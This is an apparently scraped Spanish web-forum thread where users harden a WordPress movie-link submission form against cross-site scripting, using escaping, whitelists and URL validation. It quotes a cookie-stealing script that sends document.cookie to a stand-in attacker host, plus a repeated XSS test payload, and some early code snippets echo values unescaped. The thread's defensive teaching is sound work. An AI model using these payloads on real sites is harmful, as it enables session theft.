J
Juanjo87
Gamma
Diseñador
¡Usuario con pocos negocios! ¡Utiliza siempre saldo de Forobeta!
<form method="post" action="<?php echo htmlspecialchars($_SERVER["PHP_SELF"]);?>"><br>
<form method="post" id="adduser" action="';
echo the_permalink();
echo ' ">';
<form method="post" id="adduser" action="<?php echo htmlspecialchars($_SERVER["PHP_SELF"]);?>"';
echo the_permalink();
echo ' ">';
<form action="<?php echo htmlspecialchars($_SERVER["PHP_SELF"]);?>">
<form action="">
No entiendo muy bien para qué pones:
Sería equivalente a no poner nada para que se procese el formulario en la misma página que se carga.PHP:<form action="http://forobeta.com/<?php echo htmlspecialchars($_SERVER["PHP_SELF"]);?>">
Insertar CODE, HTML o PHP:<form action="">
Mostrando resultados para: <script>document.location="http://robador_de_cookies/save.php?cookies"+scape(document.cookie)</script>
Mostrando resultados para: <script>document.location="[url]http://robador_de_cookies/save.php?cookies"+scape(document.cookie)</script>[/url]
<form method="post" action="<?php echo htmlspecialchars($_SERVER["PHP_SELF"]);?>"><br>
<form method="post" action="<?php the_permalink(); ?>"><br>
<form method="post" action=""><br>
<form method="post" id="adduser" action="';
echo the_permalink();
echo ' ">';
<?php
global $nombre_servidor;
global $tipo_audio;
global $tipo_calidad;
global $enlace_roto;
echo '<h1>Subida de enlace</h1>';
echo '<div class="links_servs">';
echo ' <form method="post" id="adduser" action="';
echo the_permalink();
echo ' ">';
echo ' <table>';
echo ' <tbody>';
echo ' <tr>';
echo ' <th>SERVIDOR</th>';
echo ' <th>AUDIO</th>';
echo ' <th>CALIDAD</th>';
echo ' <th>¿ENLACE ROTO?</th>';
echo ' <th>APORTAR</th>';
echo ' </tr>';
echo ' <tr>';
echo ' <td>';
echo ' <select name="servidor" class="aporte"> ';
foreach ($nombre_servidor as $nombre_servidors)
{
echo ' <option value="'. $nombre_servidors .'"data-image="wp-content/themes/Mogambo/images/foto-' . $nombre_servidors . '"></option>';
};
echo ' </select>';
echo ' </td>';
echo ' <td>';
echo ' <select name="audio" class="aporte"> ';
foreach ($tipo_audio as $tipo_audios)
{
echo ' <option value="'. $tipo_audios .'"data-image="wp-content/themes/Mogambo/images/flag/' . $tipo_audios . ' " ></option>';
};
echo ' </select>';
echo ' </td>';
echo ' <td>';
echo ' <select name="calidad" class="aporte"> ';
foreach ($tipo_calidad as $tipo_calidads)
{
echo ' <option value="'. $tipo_calidads .'">'. $tipo_calidads .'</option>';
};
echo ' </select>';
echo ' </td>';
echo ' <td>';
echo ' <select name="estado" class="aporte"> ';
foreach ($enlace_roto as $enlace_rotos)
{
echo ' <option value="'. $enlace_rotos .'">'. $enlace_rotos .'</option>';
};
echo ' </select>';
echo ' </td>';
echo ' <td>';
echo ' <input name="updateuser" type="submit" id="updateuser" class="submit button" value="Aportar" />';
echo ' <input name="nuevo_id" type="hidden" id="action" value="'.$cnt.'" />';
echo ' </td>';
echo ' </tr>';
echo ' </tbody>';
echo ' </table>';
echo ' <br><label>Enlace</label><br>';
echo ' <input type="text" style="width: 100%;"name="enlace" id="long" value=""/>';
echo ' <br><label>Usuario</label><br>';
echo ' <input type="text" type="hidden" readonly="readonly" style="width: 100%;"name="user" id="long" value="'.$current_user->user_login.'"/>';
echo ' </form> ';
echo '</div>';
?>
<?php
global $nombre_servidor;
global $tipo_audio;
global $tipo_calidad;
global $enlace_roto;
?>
<h1>Subida de enlace</h1>
<div class="links_servs">
<form method="post" id="adduser" action="<?php the_permalink(); ?>">
<table>
<tbody>
<tr>
<th>SERVIDOR</th>
<th>AUDIO</th>
<th>CALIDAD</th>
<th>¿ENLACE ROTO?</th>
<th>APORTAR</th>
</tr>
<tr>
<td>
<select name="servidor" class="aporte">
<?php
foreach ($nombre_servidor as $nombre_servidors){
echo '<option value="'. $nombre_servidors .'"data-image="wp-content/themes/Mogambo/images/foto-' . $nombre_servidors . '"></option>';
};
?>
</select>
</td>
<td>
<select name="audio" class="aporte">
<?php
foreach ($tipo_audio as $tipo_audios){
echo '<option value="'. $tipo_audios .'"data-image="wp-content/themes/Mogambo/images/flag/' . $tipo_audios . ' " ></option>';
};
?>
</select>
</td>
<td>
<select name="calidad" class="aporte">
<?php
foreach ($tipo_calidad as $tipo_calidads){
echo '<option value="'. $tipo_calidads .'">'. $tipo_calidads .'</option>';
};
?>
</select>
</td>
<td>
<select name="estado" class="aporte">
<?php
foreach ($enlace_roto as $enlace_rotos){
echo '<option value="'. $enlace_rotos .'">'. $enlace_rotos .'</option>';
};
?>
</select>
</td>
<td>
<input name="updateuser" type="submit" id="updateuser" class="submit button" value="Aportar" />
<input name="nuevo_id" type="hidden" id="action" value="'<?php echo $cnt;?>'" />
</td>
</tr>
</tbody>
</table>
<br><label>Enlace</label><br>
<input type="text" style="width: 100%;" name="enlace" id="long" value=""/>
<br><label>Usuario</label><br>
<input type="text" type="hidden" readonly="readonly" style="width: 100%;" name="user" id="long" value="<?php echo $current_user->user_login;?>"/>
</form>
</div>
<input type="text" type="hidden" readonly="readonly" style="width: 100%;" name="user" id="long" value="<?php echo $current_user->user_login;?>"/>
<input type="text" type="hidden" readonly="readonly" style="width: 100%;" name="user" id="long" value="<?php echo htmlentities($current_user->user_login, ENT_QUOTES);?>"/>
<td><a href="<?php echo htmlentities($link, ENT_QUOTES);?>">Descargar</a></td><td><?php echo htmlspecialchars($usuariopropietario); ?>
<input name="nuevo_id" type="hidden" id="action" value="'.$cnt.'">
<input name="nuevo_id" type="hidden" id="action" value="<?php echo $cnt;?>" />
http://powvideo.com/2222222"><script>alert("inyeccionXSS")</script><
function validarLink($p){
global $nombre_servidor;
global $tipo_audio;
global $tipo_calidad;
global $enlace_roto;
if (in_array($p['servidor'],$nombre_servidor)){
if (in_array($p['audio'],$tipo_audio)){
if (in_array($p['calidad'],$tipo_calidad)){
if (in_array($p['roto'],$enlace_roto)){
return true;
}
}
}
}
return false;
}
<?php
if ( !empty($_POST['seccion']) ) {
$add_to_ID = $_POST['seccion'];
if ( ! is_numeric( $add_to_ID ) )
die("Wrong ID!");
$add_to_ID = abs(intval($add_to_ID));
if ( ! $add_to_ID )
die("Wrong ID!");
if (in_array($_POST['roto'],$enlace_roto)){
$existing_list = get_post_meta($post->ID,"peliculas_data",true);
if (isset($existing_list[$add_to_ID])){ //Verificar que el $add_to_ID exista
$existing_list[$add_to_ID]['roto'] = $_POST['roto'];
update_post_meta($post->ID,'peliculas_data',$existing_list);
}
}
}
if ( !empty( $_POST['servidor']) and !empty( $_POST['enlace'])) {
$add_to_ID = get_post_meta($post->ID,"linksAutoincrement",true); //esto es para nunca repetir un mismo "ID" y la denuncia de link roto no hagan despiole si luego se edita o elimina algun link. Y si asignas con php este valor no deberás validarlo aqui
if ( empty( $add_to_ID ) )
$add_to_ID = 0;
$add_to_ID = $add_to_ID + 1;
$existing_list = get_post_meta($post->ID,"peliculas_data",true);
if (empty($existing_list))
$existing_list = array();
$existing_list[$add_to_ID]['servidor'] = $_POST['servidor'];
$existing_list[$add_to_ID]['audio'] = $_POST['audio'];
$existing_list[$add_to_ID]['calidad'] = $_POST['calidad'];
$existing_list[$add_to_ID]['roto'] = $_POST['estado'];
$existing_list[$add_to_ID]['enlace'] = $_POST['enlace'];
$existing_list[$add_to_ID]['user'] = $current_user->user_login;
if (validarLink($existing_list[$add_to_ID])==false){
die("Un campo no esta entre los permitidos");
}
if (filter_var($_POST['enlace'], FILTER_VALIDATE_URL) !== false){ //Validamos el enlace, luego update_post_meta lo debería sanitizar por nosotros
update_post_meta($post->ID,'peliculas_data',$existing_list);
update_post_meta($post->ID, 'linksAutoincrement', $add_to_ID);
}
}
$user= $_POST['user'];
$user= $current_user->user_login;
<?php
$data = get_post_meta($post->ID,"peliculas_data",true);
global $enlace_roto;
?>
<div class="links_servs">
<table>
<tbody>
<tr>
<th>SERVIDOR</th>
<th>AUDIO</th>
<th>CALIDAD</th>
<th>VER ONLINE</th>
<th>¿ENLACE ROTO?</th>
<th>USUARIO</th>
</tr>
<?php
if (count($data) > 0){
foreach((array)$data as $cnt => $p ){
if (isset($p['calidad']) || isset($p['audio'])|| isset($p['servidor'])|| isset($p['enlace'])|| isset($p['roto'])|| isset($p['user'])){
?>
<tr>
<td class="server" > <img src="wp-content/themes/Mogambo/images/foto-<?php echo $p['servidor']; ?>"></img> </td>
<td class="idioma"><img src="wp-content/themes/Mogambo/images/flag/<?php echo $p['audio']; ?>"></img></td>
<td class="calidad"><?php echo $p['calidad']; ?></td>
<td><a href="<?php echo htmlentities($p['enlace'], ENT_QUOTES);?>" class="url_download" target="_blank">Reproducir</a></td>
<td>
<form method="post" id="adduser" action="<?php the_permalink(); ?>">
<select name="roto" id="audio">
<?php
foreach ($enlace_roto as $enlace_rotos){
if( $enlace_rotos == $p['roto'] ) {
echo '<option value="'. $p['roto'] .'" selected="slelected" >'. $p['roto'] .'</option>';
} else {
echo '<option value="'. $enlace_rotos .'">'. $enlace_rotos .'</option>';
}
}
?>
</select>
<p class="form-submit">
<input name="updateuser" type="submit" id="updateuser" class="submit button" value="Actualizar" />
<input name="seccion" type="hidden" id="action" value="<?php echo $cnt; ?>" />
</p>
<td class="user"><?php echo htmlspecialchars($p['user']); ?></td>
</form>
</td>
</tr>
<?php
}
}
}
?>
</tbody>
</table>
</div>
foreach((array)$data as $cnt => $p ){
http://powvideo.com/2222222"><script>alert("inyeccionXSS")</script><
<?php
global $nombre_servidor;
global $tipo_audio;
global $tipo_calidad;
global $enlace_roto;
?>
<h1>Subida de enlace</h1>
<div class="links_servs">
<form method="post" id="adduser" action="<?php the_permalink(); ?>">
<table>
<tbody>
<tr>
<th>SERVIDOR</th>
<th>AUDIO</th>
<th>CALIDAD</th>
<th>¿ENLACE ROTO?</th>
<th>APORTAR</th>
</tr>
<tr>
<td>
<select name="servidor" class="aporte">
<?php
foreach ($nombre_servidor as $nombre_servidors){
echo '<option value="'. $nombre_servidors .'"data-image="wp-content/themes/Mogambo/images/foto-' . $nombre_servidors . '"></option>';
};
?>
</select>
</td>
<td>
<select name="audio" class="aporte">
<?php
foreach ($tipo_audio as $tipo_audios){
echo '<option value="'. $tipo_audios .'"data-image="wp-content/themes/Mogambo/images/flag/' . $tipo_audios . ' " ></option>';
};
?>
</select>
</td>
<td>
<select name="calidad" class="aporte">
<?php
foreach ($tipo_calidad as $tipo_calidads){
echo '<option value="'. $tipo_calidads .'">'. $tipo_calidads .'</option>';
};
?>
</select>
</td>
<td>
<select name="estado" class="aporte">
<?php
foreach ($enlace_roto as $enlace_rotos){
echo '<option value="'. $enlace_rotos .'">'. $enlace_rotos .'</option>';
};
?>
</select>
</td>
<td>
<input name="updateuser" type="submit" id="updateuser" class="submit button" value="Aportar" />
</td>
</tr>
</tbody>
</table>
<br><label>Enlace</label><br>
<input type="text" style="width: 100%;" name="enlace" id="long" value=""/>
</form>
</div>
</body>
</html>
if ( !empty($_POST['seccion']) ) {
$add_to_ID = $_POST['seccion'];
if ( ! is_numeric( $add_to_ID ) )
die("Wrong ID!");
$add_to_ID = abs(intval($add_to_ID));
if ( ! $add_to_ID )
die("Wrong ID!");
global $enlace_roto;
if (in_array($_POST['roto'],$enlace_roto)){
$existing_list = get_post_meta($post->ID,"peliculas_data",true);
if (isset($existing_list[$add_to_ID])){ //Verificar que el $add_to_ID exista
$existing_list[$add_to_ID]['roto'] = $_POST['roto'];
update_post_meta($post->ID,'peliculas_data',$existing_list);
}
}else{
die("roto no definido");
}
}
if ( !empty( $_POST['servidor']) and !empty( $_POST['enlace'])) {
$current_user = wp_get_current_user();
if ( is_user_logged_in() ) {
$add_to_ID = get_post_meta($post->ID,"linksAutoincrement",true);
if ( empty( $add_to_ID ) )
$add_to_ID = 0;
$add_to_ID = $add_to_ID + 1;
$existing_list = get_post_meta($post->ID,"peliculas_data",true);
if (empty($existing_list))
$existing_list = array();
$existing_list[$add_to_ID]['servidor'] = $_POST['servidor'];
$existing_list[$add_to_ID]['audio'] = $_POST['audio'];
$existing_list[$add_to_ID]['calidad'] = $_POST['calidad'];
$existing_list[$add_to_ID]['roto'] = $_POST['estado'];
$existing_list[$add_to_ID]['enlace'] = $_POST['enlace'];
$existing_list[$add_to_ID]['user'] = $current_user->user_login;
if (validarLink($existing_list[$add_to_ID])==false){
die("Un campo no esta entre los permitidos");
}
if (filter_var($_POST['enlace'], FILTER_VALIDATE_URL) !== false){
update_post_meta($post->ID,'peliculas_data',$existing_list);
update_post_meta($post->ID, 'linksAutoincrement', $add_to_ID);
}else{
die("enlace no valido!");
}
}else{
die("No estas logueado!");
}
}
foreach((array)$data as $cnt => $p ){
$add_to_ID = get_post_meta($post->ID,"linksAutoincrement",true);
if ( empty( $add_to_ID ) )
$add_to_ID = 0;
$add_to_ID = $add_to_ID + 1;
...
update_post_meta($post->ID, 'linksAutoincrement', $add_to_ID);
http://powvideo.com/2222222"><script>alert("inyeccionXSS")</script><
Utilizamos cookies y tecnologías similares para los siguientes fines:
¿Aceptas las cookies y estas tecnologías?
Utilizamos cookies y tecnologías similares para los siguientes fines:
¿Aceptas las cookies y estas tecnologías?